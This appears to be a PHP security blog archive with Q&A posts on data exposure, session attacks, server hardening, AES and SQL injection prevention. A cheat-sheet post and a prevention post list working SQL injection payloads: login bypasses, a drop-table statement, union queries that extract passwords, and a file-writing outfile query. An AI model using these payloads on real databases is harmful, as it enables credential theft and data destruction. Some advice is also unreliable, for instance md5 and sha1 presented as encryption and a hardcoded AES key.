Showing posts with label PHP security. Show all posts
Showing posts with label PHP security. Show all posts

Sunday 18 April 2021

What is sensitive data exposure

 

What is sensitive data exposure


Question: What is sensitive data exposure?
Sensitive data exposure happen when an application OR company exposes users's personal data that might be result of no-encryption, weak encryption, software flaws or upload data to public by mistake.


Question: Example of Attack Scenarios?
  1. Someone upload the company data in Facebook/twitter etc by mistake
  2. Transfer of data through HTTP/FTP/SMTP without encryption
  3. Storing the credit card numbers, health records, personal information (email/phone) storing in database without encryption
  4. Encrypting the data with weak cryptographic algorithms or default algorithms
  5. Reuse of cryptographic algorithms OR hash
  6. Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing
  7. User agent (e.g. app, mail client) not verifying the certificate when received request.

Question: How to Prevent sensitive data exposure?
  1. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs
  2. Apply controls as per the classification.
  3. Don’t store sensitive data unnecessarily
  4. Make sure to encrypt all sensitive data at rest.
  5. Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
  6. Encrypt all data in transit with secure protocols such as TLS
  7. Disable caching for response that contain sensitive data
  8. Store passwords using strong adaptive and salted hashing functions.
  9. Verify independently the effectiveness of configuration and settings


Question: Give few popular data breach in history?
  1. Sony PlayStation Network: 77 million records compromised in 2010
  2. Sony Online Entertainment: 24.6 million records compromised in 2011
  3. Evernote: 50 million records compromised in 2013
  4. Living Social: 50 million records compromised in 2013
  5. Target: 70 million records compromised in 2013
  6. eBay: 145 million records compromised in 2014
  7. Home Depot: 56 million records compromised in 2014
  8. JP Morgan Chase: 76 million records compromised in 2014
  9. Anthem: 80 million records compromised in 2015
  10. Yahoo: One billion records compromised in 2016
  11. Deep Root Analytics: 198 million voter records in 2017


Saturday 17 April 2021

Root Causes of Session Hijacking and Session Fixation and Broken Authentication

Root Causes of Session Hijacking and Session Fixation and Broken Authentication
Question: What is Session Hijacking?
Session hijacking is an attack where a user session is taken over by an attacker.


Question: What are the Root Causes of Session Hijacking?
  1. Guessable session ID
  2. Absence of detection mechanism for “repeated guessing trial” either with brute-force or systematic methods.
  3. Weak cryptography algorithm
  4. Unable to detect repeated guessing trials while there is a mechanism in place
  5. Insecure session handling methods
  6. Limitation of HTTP: the statelessness of the protocol or lack of any inherent or integrated state management mechanism



Question: What is Session Fixation?
Session Fixation is an attack that permits an attacker to hijack a valid user session.

Question: What are the Root Causes of Session Fixation?
  1. Permissive Server: a server that accepts client generated session ID
  2. Session management type in use
  3. Reuse of session identifiers



Question: What is Broken Authentication?
Attacker get authenticated when he attack on Session Data and get success.

Question: What are the Root Causes of Broken Authentication?
  1. Lack of metrics: absence of well-developed metrics
  2. Lack of security knowledge among programmers to apply information and communication security mechanisms to their solutions
  3. Wrong decisions or compromises
  4. Use of self-developed modules instead of well tested and thoroughly analyzed modules for security services such as authentication
  5. Storing user credentials with other application data.
  6. Guessing Attempts: allowing repeated guessing attempts
  7. Lack of security awareness among users.




MySQL - SQL Injection Cheat Sheet

 

MySQL - SQL Injection Cheat Sheet


Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query
SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query
SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query
SELECT id,/* comment here*/ email FROM members WHERE 1 


#3 SQL Injection Attack deleting table
SELECT id email FROM members WHERE email="arun@example.com" ; drop table users


#4 Union Injections - try to get another table data
SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members


#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password
SELECT User,Password FROM mysql.user;


#7 Get MySQL version
SELECT @@version


#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)

Saturday 21 December 2019

What are special characters? and how to remove special characters?

What are special characters? and how to remove special characters?

Question: What are special characters?
Special characters are selected punctuation characters present on standard US keyboard.


Question: Provide list of special characters?
Character Name
Space
 ! Exclamation
" Double quote
# Number sign (hash)
$ Dollar sign
 % Percent
& Ampersand
' Single quote
( Left parenthesis
) Right parenthesis
* Asterisk
+ Plus
, Comma
- Minus
. Full stop
/ Slash
 : Colon
 ; Semicolon
< Less than
= Equal sign
> Greater than
 ? Question mark
@ At sign
[ Left bracket
\ Backslash
] Right bracket
^ Caret
_ Underscore
` Grave accent (backtick)
{ Left brace
| Vertical bar
} Right brace
~ Tilde



Question: How to remove special characters from string including space?
$string='test !@#ing';
echo preg_replace('/[^A-Za-z0-9\-]/', '', $string);



Question: How to remove special characters from string except space?
$string='test !@#ing';
echo preg_replace('/[^A-Za-z0-9\-\s]/', '', $string);



Question: How to replace special characters with hyphen?
$string='test !@#ing';
echo preg_replace('/[^A-Za-z0-9\-\s]/', '-', $string);



Question: How to replace multiple hyphen with single hyphen?
$string='test-----ing';
echo preg_replace('/-+/', '-',$string);



Question: How to remove special characters from array?
$array=array('test !@#ing','sdalkjsad','#$#33');
function cleanData($string){
return preg_replace('/[^A-Za-z0-9\-]/', '', $string);
}
$array = array_map('cleanData',$array);
print_r($array);



Question: How to remove all special characters from javascript?
var stringToReplace='test !@#ing';
stringToReplace=stringToReplace.replace(/[^\w\s]/gi, '')



Thursday 10 August 2017

PHP Interview Questions and Answer for 3 year experienced

PHP Interview Questions and Answer for 3 year experienced

Question: What is the difference between Unlink And Unset function In PHP?
unlink It is used to delete the file permanent.
unlink("/data/users.csv");
Unset It is used to delete the variable.
unset($newVariable);



Question: What are PHP Traits?
It is a mechanism that allows us to do code reusability the code and its similer as that of PHP class.
trait Goodmorning {

    public function goodmorning() {
        echo "Good Morning Viewer";
    }

}

trait Welcome {

    public function welcome() {
        echo "Welcome Viewer";
    }

}

class Message {

    use Welcome,
        Goodmorning;

    public function sendMessage() {        
        echo $this->welcome();        
        echo $this->goodmorning();
    }

}

$o = new Message;
$o->sendMessage();

Output
Welcome Viewer
Good Morning Viewer 



Question: How to get URL Of The Current Webpage??
Client side, connect with  parameter



Question: What Is Autoloading Classes In PHP? and how it works?
With autoloaders, PHP allows the to load the class or interface before it fails with an error.
spl_autoload_register(function ($classname) {
    include  $classname . '.php';
});
$object  = new Class1();
$object2 = new Class2();



Question: What s The use of ini_set()?
PHP allows the user to modify its settings mentioned in php.ini using ini_set();
For Example
Display error on page
ini_set('display_errors', '1');

Set mysql connection timeout
ini_set('mysql.connect_timeout',100);

Set maximum execution time
ini_set('max_execution_time',100000);

Set post max size
ini_set('post_max_size','30000M');

Set upload max file size
ini_set('upload_max_filesize','64000M');




Question: Which PHP Extension Helps To Debug The Code?
The name of that Extension is Xdebug.
It uses the DBGp debugging protocol for debugging. It is highly configurable and adaptable to a variety of situations.


Question: How can we get the properties of browswer?
$_SERVER['HTTP_USER_AGENT']



Question: How to get/set the session id?
Set the session Id
session_id($sessionId)

Get the session Id
echo session_id()



Question: What is Scrum?
Scrum is an Agile framework for completing complex projects.
Scrum originally was made for software development projects, but it works well for any complex and innovative scope of work.


Question: What are the ways to encrypt the data?
md5() – Calculate the md5 hash of a string.
sha1() – Calculate the sha1 hash of a string.
hash() – Generate a hash value.
crypt() – One-way string hashing.


Question: How to get cookie value?
$_COOKIE ["cookie_name"];



Question: What is use of header?
The header() function is used to send a raw HTTP header to a client. It must be called before sending the actual output.


Question: What is Type juggle in PHP?
Type Juggling means dealing with a variable type. In PHP a variables type is determined by the context in which it is used.
If an integer value assign to variable it become integer.
If an string value assign to variable it become string.
If an object assign to variable it become object.


Question: What will be output of following?
$x = true and false and true;
var_dump($x);


Output
boolean false


Question: What will be output of following?
$text = 'Arun ';
$text[10] = 'Kumar';
echo $text;


Output
Arun K


Question: What is use of header?
header() is used to redirect from one page to another: header("Location: index.php");
header() is used to send an HTTP status code: header("HTTP/1.0 this Not Found");

header() is used to send a raw HTTP header: header('Content-Type: application/json');


Tuesday 6 September 2016

How to add Security in Website?

How to add Security in Website?

Server Signature invisible

Whatever technology you are using PHP, .Net, ASP etc you should not let to know other.

Hide the Server Signature.
Open php.ini file.
expose_php = on
to
expose_php = off

Add Following code in .htaccess
ServerSignature Off



XSS Protection header Enabled

Cross-site scripting (XSS) is a type of computer security vulnerability found in web applications. XSS enables attackers to inject client-side script into webpages.
We can add Protection layer to XSS attack by adding this on header.

Add Following code in .htaccess
Header set X-XSS-Protection "1; mode=block"


Content Security Policy (CSP)

It is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting and data injection attacks.
This header is designed to specify how content interacts with your website.
Add Following code in .htaccess
Header set X-Content-Security-Policy "allow 'self';"



X-Content-Type-Options

 This header prevents "mime" based attacks. Add Following code in .htaccess
Header set X-Content-Type-Options "nosniff"



Protection From libwww-perl

LWP is a Perl modules that give Perl programming easy access to sending requests to the website. We can protect our website from this

Add Following code in .htaccess
RewriteCond %{HTTP_USER_AGENT} libwww-perl.* 
RewriteRule .* ? [F,L]



Always Use Https over http

An extra security layer because of SSL (Encryption, Data Integrity, Authentication )


X-Frame-Options

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a frame or iframe. Add Following code in .htaccess
Header set X-Frame-Options SAMEORIGIN


Tuesday 21 June 2016

How to hide web server information from the headers?

How to hide web server information from the headers?

Question: What do you mean by server technology in header?
When an request is sent from client to server.
OR
When an request is sent from one server to another server.
There are lot of information also sent back to client(receiver information).
For Example:
HTTP/1.1 200 OK
Date: Tue, 21 Jun 2016 05:24:34 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.3
X-Powered-By: PHP/5.4.3
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html



Question: What are benefits of hiding server info from header?
An attacker will not get to know which technology you are using in your application.


Question: How to hide the Server technology information from header?
Step 1:
Open php.ini file
change
expose_php = on

to
expose_php = Off

Step 2:
Add Following in your .htacess (root folder)
ServerSignature Off

Step 3 Setup the mod_security with Apache
https://www.thefanclub.co.za/how-to/how-install-apache2-modsecurity-and-modevasive-ubuntu-1204-lts-server



Monday 20 June 2016

How to enable the XSS Protection header?

How to enable the  XSS Protection header?

Question: How to enable the XSS Protection header?
Add Following code in your root's .htaccess file

# Set XSS Protection header
Header set X-XSS-Protection "1; mode=block"




Question: What is Cross-site scripting?
Cross-site scripting (XSS) is a type of computer security vulnerability which attack on the site by injection the code in webpage


Question: What benefits of XSS Protection header?
It will protect the your site from XSS Attack


Friday 4 March 2016

AES Encryption and Decryption in PHP See example

AES Encryption and Decryption in PHP See example

Question: What is AES encryption?
Advanced Encryption Standard is a specification for the encryption of data established by the NIST (National Institute of Standards and Technology) in 2001.


Question: What are different key sizes availbles?
  1. 128 bits
  2. 192 bits
  3. 256 bits



Question: How AES encryption works?
AES comprises three block ciphers i.e AES-128, AES-192 and AES-256. Each cipher encrypts and decrypts data in blocks of 128 bits using cryptographic keys of 128-bits, 192-bits and 256-bits, respectively. Secret-key ciphers use the same key for encrypting and decrypting. In this encryption method works three times faster in software than DES.


Question: Write a Function to encrypt/decrypt?
function encrypt_string($string = '', $salt = '8638FD63E6CC16872ACDED6CE49E5A270ECDE1B3B938B590E547138BB7F120EA') {
    $key = pack('H*', $salt);    
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $string, MCRYPT_MODE_CBC, $iv);
    return base64_encode($iv . $ciphertext);
}

function decrypt_string($encodedText = '', $salt = '8638FD63E6CC16872ACDED6CE49E5A270ECDE1B3B938B590E547138BB7F120EA') {
    $key = pack('H*', $salt);
    $ciphertext_dec = base64_decode($encodedText);
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv_dec = substr($ciphertext_dec, 0, $iv_size);
    $ciphertext_dec = substr($ciphertext_dec, $iv_size);
    return mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);
}
/** Encoded Decoded with 256 bits * */
$encodedText = encrypt_string('hello');
echo decrypt_string($encodedText);



Question: How to encrypt/decrypt a string using 192 bits?
/** Encoded Decoded with 192 bits * */
$encodedText  = encrypt_string('hello', '8638FD63E6CC16872ACDED6CE49E5A270ECDE1B3B938B590');
echo decrypt_string($encodedText , '8638FD63E6CC16872ACDED6CE49E5A270ECDE1B3B938B590');



Question: How to encrypt/decrypt a string using 128 bits?
/** Encoded Decoded with 128 bits * */
$encodedText  = encrypt_string('hello', '8638FD63E6CC16872ACDED6CE49E5A27');
echo decrypt_string($encodedText , '8638FD63E6CC16872ACDED6CE49E5A27');



Saturday 9 January 2016

XMLRPC Wordpress Attack

How to protect your wordpress website from xmlrpc attack

Queston: What is XMLRPC?
XML-RPC is one of the protocols that use XML for messages between two server. It is used to "Remote Procedure Calls" using XML.


Queston: Question: What is JSON-RPC?
JSON-RPC is one of the protocols that use JSON for messages between two server.
It is used to "Remote Procedure Calls" using JSON.


Queston: What is xmlrpc in wordpress?
WordPress uses an XML-RPC interface.
XML-RPC protocol is used to post entries.


Question: How to protect your website from xmlrpc attack?
Add following code in bottom of .htaccess file in root folder.
<Files 'xmlrpc.php'>
Order Allow,Deny
deny from all
</files>



Question: How to stop abusing XML-RPC file?
Open functions.php file in your add theme and following code.
add_filter( 'xmlrpc_methods', function( $methods ) {
         unset( $methods['pingback.ping'] );
            return $methods;
      } ); 



Tuesday 6 October 2015

How can I read request-headers in PHP


$headers = apache_request_headers();
print_r($headers);

Following are the Response of apache_request_headers()
How can I read request-headers in PHP?



Question: What is apache_request_headers()?
This function fetch all HTTP request headers.


Question: What format it return when success?
An associative array of all the HTTP headers in the current request.


Question: What happen when request failed?
It return FALSE when failed.


Question: Is it availble in all PHP Version?
No, It works only with >= PHP 5.4.


Question: How can I get header values less than 5.4 version
function getRequestHeadersCustomFunction() {
    $headers = array();
    foreach($_SERVER as $key => $value) {
        if (substr($key, 0, 5) <> 'HTTP_') {
            continue;
        }
        $headerKey = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));
        $headers[$headerKey] = $value;
    }
    return $headers;
}
print_r(getRequestHeadersCustomFunction());



Thursday 2 July 2015

How can I prevent SQL-injection in PHP?

How can I prevent SQL-injection in PHP?



Question: What is SQL Injection?
SQL injection is a code injection technique, which is used to attack on database driven applications. In this malicious SQL statements are inserted into an database query.


Question: How attackers attack on website with SQL Injection?
With use SQL Injection, attacker/hackers attack on web application's table/database.

For Example, Lets have a Web login-form where visitor enter the username and password to login in system.
Attacker use the special characters (i.e '"!@#$%^&*()_+)  in Web login-form, to attack the websites


What can attackers do with SQL Injection?
Below are couples of ways an attacker can harm our website.
  1. After submit the form, these special character mix the query and break the query, due to this an page will be crash. In this case attacker may able to see the queryies printed in browser(If debug mode is not off).
  2. They may use combination of special-characters due to which they may able to login in our system without having valid login.
  3. They may able to see list of users in our database
  4. They may delete record or table



How we can prevent with SQL Injection
We must filter data entered by user before saving in database OR using in SQL query.
If you are able to escaping the string, then you are able to prevent your website from SQL attack.

Following are few different ways to prevent SQL Injection in PHP, Use any of below:
Use a PHP Function For PHP 5.4
$safeData = mysql_real_escape_string($_POST["user-input"]);
mysql_query("INSERT INTO table (column) VALUES ('" . $safeData . "')");
//If you using PHP >5.5 Use MYSQL as mysql_real_escape_string is deprecated in PHP5.5


Use MySQLI (New version of MySQL)
$mysqli = new mysqli("server", "username", "password", "database_name");
$unsafeData = $_POST["user-input"];
$stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");
$stmt->bind_param("s", $unsafeData;
$stmt->execute();
$stmt->close();
$mysqli->close();


Use PDO to connect database
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = :name');
$unsafeData = $_POST["user-input"];
$stmt->execute(array('name' => $unsafeData));



Following are SQL Vulnerable string
123' or '1  
123' or '1#
123' or 1 union select 1,database(), version()#
123' or 1 union select id, password,email from users#
123' or 1 union select id, password,email from users into outfile '/store-in-db.txt'#

Friday 22 May 2015

Shared Server Security Risk open_basedir disable_functions disable_classes

How to secure website on shared server


There are a variety of security issues that arise when using shared hosting solutions. There are three php.ini directives that remain important in a shared hosting

open_basedir : The open_basedir directive provides the ability to limit the files that PHP can open
to a specified directory tree. When PHP tries to open a file with, for example, fopen()
or include, it checks the the location of the file. If it exists within the directory tree
specified by open_basedir, then it will succeed; otherwise, it will fail to open the file.

disable_functions :  You can disable function like exec, passthru, shell_exec, system etc for security purpose.

disable_classes : You can disable class like DirectoryIterator, Directory for security purpose.


You may set the open_basedir directive in php.ini OR on a per-virtual-host basis in httpd.conf. In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories.

<VirtualHost *:80>
    DocumentRoot 'C:/wamp/www/zf1_11/public_html'
    ServerName zf11.localhost
    <Directory 'C:/wamp/www/zf1_11/public_html'>
        AllowOverride All
        Order allow,deny
        Allow from all
    </Directory>
</VirtualHost>

Tuesday 14 April 2015

What is Best method for sanitizing user input with PHP?

What is  Best method for sanitizing user input with PHP

Sanitize user-input when using in Mysql Query.
You can use real_escape_string of mysqli.
For Example:
$mysqliObj = new mysqli("localhost", "root", "", "mydb");
$city = $mysqliObj->real_escape_string($_POST['city']);
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}



Sanitize user-input  while insert in database and displaying in Browser.
You can use htmlentities and html_entity_decode.
For Example:
echo htmlentities($data['description']);//at the time of insert in database 
echo html_entity_decode($data['description']); //at the time of display in browser from database



Sanitize user-input when using in Command Prompt.
You can use escapeshellarg.
For Example:
system('ls '.escapeshellarg($data['dir']));





Monday 5 January 2015

Difference between Notice and warning and fatal error

Difference between Notice and warning and fatal error


Notice
  • A notice is an advisory message like "You probably shouldn't be doing what you're doing"
  • Execution of the script is not halted
  • Example
    echo $undefinedVariable;



Warning
  • A warning is a message like "You are doing something wrong and it is very likely to cause errors in the future, so please fix it." Execution of the script is not halted;
  • Example
    echo 1/0;



Fatal Error
  • Fatal run-time errors
  • Execution of the script is not halted
  • Example  
    require_once "notexistfile.php"

Thursday 18 December 2014

How can I prevent SQL-injection in PHP [SOLVED]

How can I prevent SQL-injection in PHP [SOLVED]

Following are different 3 ways to prevent from SQL Injection.
1. Using PHP inbuilt Functions.
$name = mysql_real_escape_string($_POST["name"]);
mysql_query("INSERT INTO users VALUES($name)");


2. Use MySqli instead of MySQL. MySqli is far better than MySql because is object oriented MySql.
$stmt = $dbConnection->prepare('INSERT INTO users VALUES(?)');
$name=$_POST["name"];
$stmt->bind_param('s', $name);
$stmt->execute();


3. Using PDO
$stmt = $conn->prepare("INSERT INTO users VALUES(:name)");
$stmt->bindValue(':name', $_POST["name"]);
$stmt->execute();